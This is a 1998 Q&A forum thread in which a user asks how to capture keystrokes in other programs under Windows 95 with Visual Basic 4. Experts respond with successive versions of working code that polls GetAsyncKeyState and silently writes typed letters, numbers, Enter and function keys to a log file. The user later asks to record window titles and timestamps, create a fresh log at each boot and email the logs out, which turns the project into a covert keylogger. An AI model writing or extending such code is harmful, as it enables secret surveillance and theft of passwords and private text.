Solved

Recording Keystrokes in VB4 Pro

Posted on 1998-12-22
21
492 Views
Last Modified: 2008-03-10
Hi I was wondering wether you could please help me into finding out
how to record & detect keystrokes in the Win 95 Environment (in other programs),
using VB4 Pro, Win 95.
For example so that I can, for instance - The user typed in "PLAY" on the desktop
and my program would recognise that and open Sound Recorder or another program.
So if you could please help it would be much appreciated
I am using the GetAsyncKeyState API.Put it in a timer.Set a flag to check for each letter.
I used the following code,given to me by Fc_hnat but that only writes the ASCII values of the letters and their capitals into a text file,which is written down the page.
i.e.      110
      86
      45
      55
etc
I was wondering wether you could fix this problem so it would be written just like a normal text file.
i.e.    Hello   {Enter}
         How are you Today?.

In this you see what the user typed in exactly how it was typed with or withut the {Enter}.
This program is to also detect all the keys on the keyboard and their symbols if the SHIFT key is used.
      
I am prepared to pay very high points for this project, 500+

Thankyou very much.
Dave Steers (dave@midcoast.com.au)
0
Comment
Question by:dsteers
  • 11
  • 8
  • 2
21 Comments
 
LVL 3

Expert Comment

by:jbil
ID: 1452040
If you already can GetAsyncKeyState why not do something like this?.............

Label1.Caption = Label1.Caption & Chr(KeyState)

If KeyState = 13 Then
    Label1.Caption = Left$(Label1.Caption, Len(Label1.Caption) - 1)
        Select Case Label1.Caption

        Case "HELLO"
         Label1.Caption = "How are you today?"
        Case "CALC"
         Shell "C:\WINDOWS\CALC.EXE", 1
        Case "ETC"

        Case Else
        Label1.Caption = ""
        End Select
        'Label1.Caption = ""
End If

0
 
LVL 3

Expert Comment

by:Sendoh
ID: 1452041
Hi !
I think you can check and interpret the keystroke before you write anything to the ascii file right ?? or you could use chr() function to interpret it for you. I meant before you print on file, call chr(keyCode).
0
 

Author Comment

by:dsteers
ID: 1452042
Dear Jbil
      I was really looking for something that would convert the ASCII into normal letters by intercept the keystrokes before they got to the text file.Sorry that I have probably misled you and thankyou very much for answering.
0
 

Author Comment

by:dsteers
ID: 1452043
Dear  Sendoh
            The explination that you gave me workes and I am happy to give you the points if you can please iron out a few proplem that I still have.
1. When you type in repetitive letters in a word like "happened" in the text file you see
"h"
"a"
"p"
"e"
"n"
"e"
"d"

The program does not detect the second "p" even if you hold the shift key down and make it a capital.
This is the code that I am using.

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Const VK_SHIFT = &H10

Dim Key_Flag As Integer
Dim KeyState As Integer
Dim Key_State_Number As Long
Dim Shift As Boolean

Private Sub Form_Load()

Open "c:\log.txt" For Append As #1

End Sub

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
Close #1
End Sub

Private Sub Timer1_Timer()
For x = 65 To 65 + 24
Key_State_Number = GetAsyncKeyState(x)
Shift = GetAsyncKeyState(VK_SHIFT)

If Key_State_Number <> 0 Then
KeyState = x + 32
Exit For
End If

Next

If Key_Flag <> KeyState Then

Key_Flag = KeyState

If Shift = True Then
Write #1, chr(KeyState - 32)
Else
Write #1, chr(KeyState)
End If
End If
End Sub

2.When the keys are written to the text file they are written in brackets and are also written down the page, as shown above.If possible I would like it to be written as a normal text file or as if someone has opened the file and has written a letter in it.Just like I have explained in my original question.

3.The code I am using only detects the Alphabet keys and their capitals not anything else,is it possible to include all the other keys in the keyboard.

Thankyou very much
      Dave Steers
0
 
LVL 3

Expert Comment

by:jbil
ID: 1452044
2. Use Print #1, chr(KeyState); (notice the semicolon) to append to the txt file across the page. Then you will have to interpret the enter key (keystate 13) for when you want to send carraige return.

3. If you can get the keystate of a key then you can change to an askii value to send to file, use debug.print to see what the key codes are ( x will have to be from 1 to 255 to see all keycodes ,not just 65 To 65 + 24 )

1. Sorry, Don't know how to get repeats at this time.
 
0
 
LVL 3

Expert Comment

by:Sendoh
ID: 1452045
Hi ! You may try following code :

Dim KeyState As Integer
Dim KeyFlag As Integer
Dim Key_State_Number As Long
Dim Shift As Boolean

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Private Sub Command1_Click()
    Close #1
    Timer1.Enabled = False
End Sub

Private Sub Form_Load()
    Open "c:\temp\key\log.txt" For Append As #1
End Sub

Private Sub Timer1_Timer()
    For x = 65 To 89
        Key_State_Number = GetAsyncKeyState(x)
        Shift = GetAsyncKeyState(VK_SHIFT)
        If Key_State_Number <> 0 Then
            KeyState = x + 32
            Form1.Print "keystate = " & Chr(KeyState)
            Exit For
        End If
    Next

    'this statement only detect non repeate key.
    If Key_Flag <> KeyState Then
        Key_Flag = KeyState
        Form1.Print "write = " & Chr(KeyState)
        If Shift = True Then
            Print #1, Chr(KeyState - 32);
        Else
            Print #1, Chr(KeyState);
        End If
        KeyState = 0
    End If
End Sub

Hope it'll suit you ^_^.
0
 

Author Comment

by:dsteers
ID: 1452046
Dear  Sendoh
            The explinational code that you gave me doesn't seem to work for me.
It doesn't write the keypresses anywhere.I'm very sorry but can you please help me out once again,as this is very important to me.

Thankyou very much :)
      Dave Steers
0
 

Author Comment

by:dsteers
ID: 1452047
Dear Jbil
      The explination of your print command and the semi-colin works but when you mix in Capitals it doesn't work it just puts everything in Capitals.
Also you said to increase the ASCII keys from 1 to 255 but then how would you diferenciate Capitals,
i.e  How would you tell the computer to use the Capital version of the Letter.

If you could please help me out that would be very much appreciated.
Thank you
Dave Steers (dave@midcoast.com.au)
0
 
LVL 3

Expert Comment

by:Sendoh
ID: 1452048
Hi !
I'd tried out this on my machine, its work. May I know which part doesn't work ??
0
 

Author Comment

by:dsteers
ID: 1452049
Dear Sendoh
                    It works but when I open the text file after I have typed in words when the form ran and closed the project,there is nothing in the text file.
I'm running VB 4 Pro,Win 95.

Thanks
Dave Steers (dave@midcoast.com.au)
0
How to improve team productivity

Quip adds documents, spreadsheets, and tasklists to your Slack experience
- Elevate ideas to Quip docs
- Share Quip docs in Slack
- Get notified of changes to your docs
- Available on iOS/Android/Desktop/Web
- Online/Offline

 
LVL 3

Expert Comment

by:Sendoh
ID: 1452050
Hi !
Did you call close #1 before closing your VB ??
Canyou ensure the file path are correct ?? and is the file open successful ??
0
 

Author Comment

by:dsteers
ID: 1452051
Dear Sendoh
            I'm not sure what it is,the code runs,I changed the path to be in the root directory,but that is all.It creates the log.txt file but there is nothing in it.I checked all your suggestions why it didn't work for me and I couldn't find anything.
Can you please help.

Thanks  Dave Steers (dave@midcoast.com.au)
0
 
LVL 3

Expert Comment

by:Sendoh
ID: 1452052
HI !
What a strange problem. Nevermind.
Just debug it with the "step into" feature.
Oh, it may also cause by this "open 'filename' for append as #1"
You may tried calling freefile first and get the free file number.
then in middle of you program you just print something specific on this filenumber to make sure print #filenumber is working.

Dim KeyState As Integer
Dim KeyFlag As Integer
Dim Key_State_Number As Long
Dim Shift As Boolean

Const VK_SHIFT = &H10

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer

Private fileNum As Long

Private Sub Command1_Click()
    Close #fileNum
    Timer1.Enabled = False
    'For i = 65 To 90
    '    Text1.Text = Text1.Text & Chr(i)
    'Next i
    'MsgBox Chr(65)
End Sub

Private Sub Form_Load()
    fileNum = FreeFile()
    Open "c:\temp\key\log.txt" For Append As #fileNum
End Sub

Private Sub Text1_KeyPress(KeyAscii As Integer)
    Dim str As String
   
    str = Text1.Text
    If KeyAscii = 46 Then
        If InStr(str, ".") <> 0 Then
            KeyAscii = 0
        End If
    End If
End Sub

Private Sub Timer1_Timer()
    For x = 65 To 89
        Key_State_Number = GetAsyncKeyState(x)
        Shift = GetAsyncKeyState(VK_SHIFT)
        If Key_State_Number <> 0 Then
            If Not (Shift) Then
                KeyState = x + 32
            Else
                KeyState = x
            End If
            Form1.Print "keystate = " & Chr(KeyState) & " Shift = " & Shift
            Exit For
        End If
    Next

    'this statement only detect non repeate key.
    If Key_Flag <> KeyState Then
        Key_Flag = KeyState
        Form1.Print "write = " & Chr(KeyState)
        Print #fileNum, Chr(KeyState);
        KeyState = 0
    End If
End Sub

you can check whether the
form1.print "write =" & chr(keystate) had anything. If so, that means the print funtcion is not working. So....

Hope it'll help you ^_^.
0
 

Author Comment

by:dsteers
ID: 1452053
Dear Sendoh
      I am happy to say that the new code that you gave me now works,where you have placed code into a textbox I placed into the Forms keypress event and it works.
However it still does not pick up characters or numerals or function keys (I know you were just seeing if the code worked first).Also as I mentioned before I wish this program set the "LOG.txt" as it had been written like a letter or LOG  e.g

Hello   {Enter}
How are You Today ?.


So if you could please help me again with this it would be much appreciated.

P.S  I haven't forgotten about the Points arrangement for the completion of this project 500+.

Thankyou
Dave Steers (dave@midcoast.com.au)      
0
 
LVL 3

Expert Comment

by:Sendoh
ID: 1452054
Hi !
In this case,

Private Sub Timer1_Timer()
    Dim x As Integer

    For x = 1 To 255
        '13 is enter, others were normal character
        If x = 13 Or (x > 64 And x < 91) Then
            Key_State_Number = GetAsyncKeyState(x)
            Shift = GetAsyncKeyState(VK_SHIFT)
            If Key_State_Number <> 0 Then
                If Not (Shift) And (x > 64 And x < 91) Then
                    KeyState = x + 32
                Else
                    KeyState = x
                End If
                If KeyState = 13 Then
                    Print #fileNum,
                Else
                    Print #fileNum, Chr(KeyState);
                End If
                Exit For
            End If
        End If
    Next
End Sub

In addition of other character, just add the keycode on the if statement above.
Hope it'll help you ^_^.
0
 

Author Comment

by:dsteers
ID: 1452055
Dear Sendoh,
            Your latest code works for the Enter Key but when I try to substitute that for the Number 1 key it doesn't work.I replaced where ever I saw a 13 to a 49 but it didn't work.
Can you please still help.I want to include the number keys and F-keys.

Thank you
Dave Steers (dave@midcoast.com.au)
0
 
LVL 3

Accepted Solution

by:
Sendoh earned 310 total points
ID: 1452056
HI !

I think this may suit you :

Private Sub Timer1_Timer()
    Dim x As Integer

    For x = 1 To 255
        '13 is enter,0 is 96, numbers '1' to '9' is 49->57,
        'a-z is 65->90 and F1 to F12 is 112->123
        If x = 13 Or (x > 64 And x < 91) Or _
            x = 96 Or (x > 48 And x < 58) Or _
            (x > 111 And x < 124) Then
            Key_State_Number = GetAsyncKeyState(x)
            Shift = GetAsyncKeyState(VK_SHIFT)
            If Key_State_Number <> 0 Then
                If x = 13 Then
                    Print #fileNum, "{ENTER}"
                ElseIf (x > 111 And x < 124) Then
                    Print #fileNum, "{F" & Trim(str(x - 111)) & "}";
                    Form1.Print "write = {F" & str(x - 111) & "}"
                Else
                    If Not (Shift) And (x > 64 And x < 91) Then
                        x = x + 32
                    End If
                    Print #fileNum, Chr(x);
                    Form1.Print "write = " & Chr(x)
                End If
                Exit For
            End If
        End If
    Next
End Sub

Hope it'll help you ^_^.
0
 

Author Comment

by:dsteers
ID: 1452057
Dear Sendoh
            I got the numbers,function keys,Insert,Delete,Homw,End,Page Up and Down keys to work but not the character keys that are above the numbers.
Can you please help.

thanks
0
 
LVL 3

Expert Comment

by:Sendoh
ID: 1452058
HI !
I can't really hepl you more cause I've got no time to test.
But anyway, what you've to do is :
1) check what are the key code for all numbers.
2) Then get the keycode for all "Character" above numbers.
3) Modify the code to check the keycode for numbers as well as the shift state. Based on that, just print the keycode(character) into the file if shift + numbers is press.
0
 

Author Comment

by:dsteers
ID: 1452059
Dear Sendoh,
            The project is nearly finished now,thanks,could you please help me in this other half of the project.
How do you detect and print into the same file as the keystrokes the name of the program that the user has focus on.Just the name of the window  and the Date and Time
e.g  Document - Wordpad.  10.24.55 am ,17/3/99

The finished file would look like this :

10.24.55 am , 17 March 1999

{Document - Wordpad}
Hello,How are you today ?.  [Alt + Tab]

{Microsoft Works - [Word1]}
The Cat Sat on the Mat.


Also the program will create a new log file each time the computer is turned on,even if it is several time a day.
And last of all if you could please help me find out how to send these files as attachments to an e-mail address (not using the Windows OLE Internet mail).
So if you can please help me then that would be great and you would have truely earned you 500 prints.

Thanks
Dave Steers (dave@midcoast.com.au)
0
 

Author Comment

by:dsteers
ID: 1452060
Dear Sendoh,
            After much thought I realise know that I have be Too greedy in what I have asked of you ,since you have helped me soo much.
Since you know what I'm upto perhaps you could help in one of the points,if not Thanks for all your help and here are you points.
Sorry that I can only offer somany points at this point but I promise you will get all your points.
Thanks once again.

Dave Steers (dave@midcoast.com.au)
0

Featured Post

IT, Stop Being Called Into Every Meeting

Highfive is so simple that setting up every meeting room takes just minutes and every employee will be able to start or join a call from any room with ease. Never be called into a meeting just to get it started again. This is how video conferencing should work!

Join & Write a Comment

Suggested Solutions

Introduction In a recent article (http://www.experts-exchange.com/A_7811-A-Better-Concatenate-Function.html) for the Excel community, I showed an improved version of the Excel Concatenate() function.  While writing that article I realized that no o…
Background What I'm presenting in this article is the result of 2 conditions in my work area: We have a SQL Server production environment but no development or test environment; andWe have an MS Access front end using tables in SQL Server but we a…
Get people started with the utilization of class modules. Class modules can be a powerful tool in Microsoft Access. They allow you to create self-contained objects that encapsulate functionality. They can easily hide the complexity of a process from…
Show developers how to use a criteria form to limit the data that appears on an Access report. It is a common requirement that users can specify the criteria for a report at runtime. The easiest way to accomplish this is using a criteria form that a…

707 members asked questions and received personalized solutions in the past 7 days.

Join the community of 500,000 technology professionals and ask your questions.

Join & Ask a Question

Need Help in Real-Time?

Connect with top rated Experts

15 Experts available now in Live!

Get 1:1 Help Now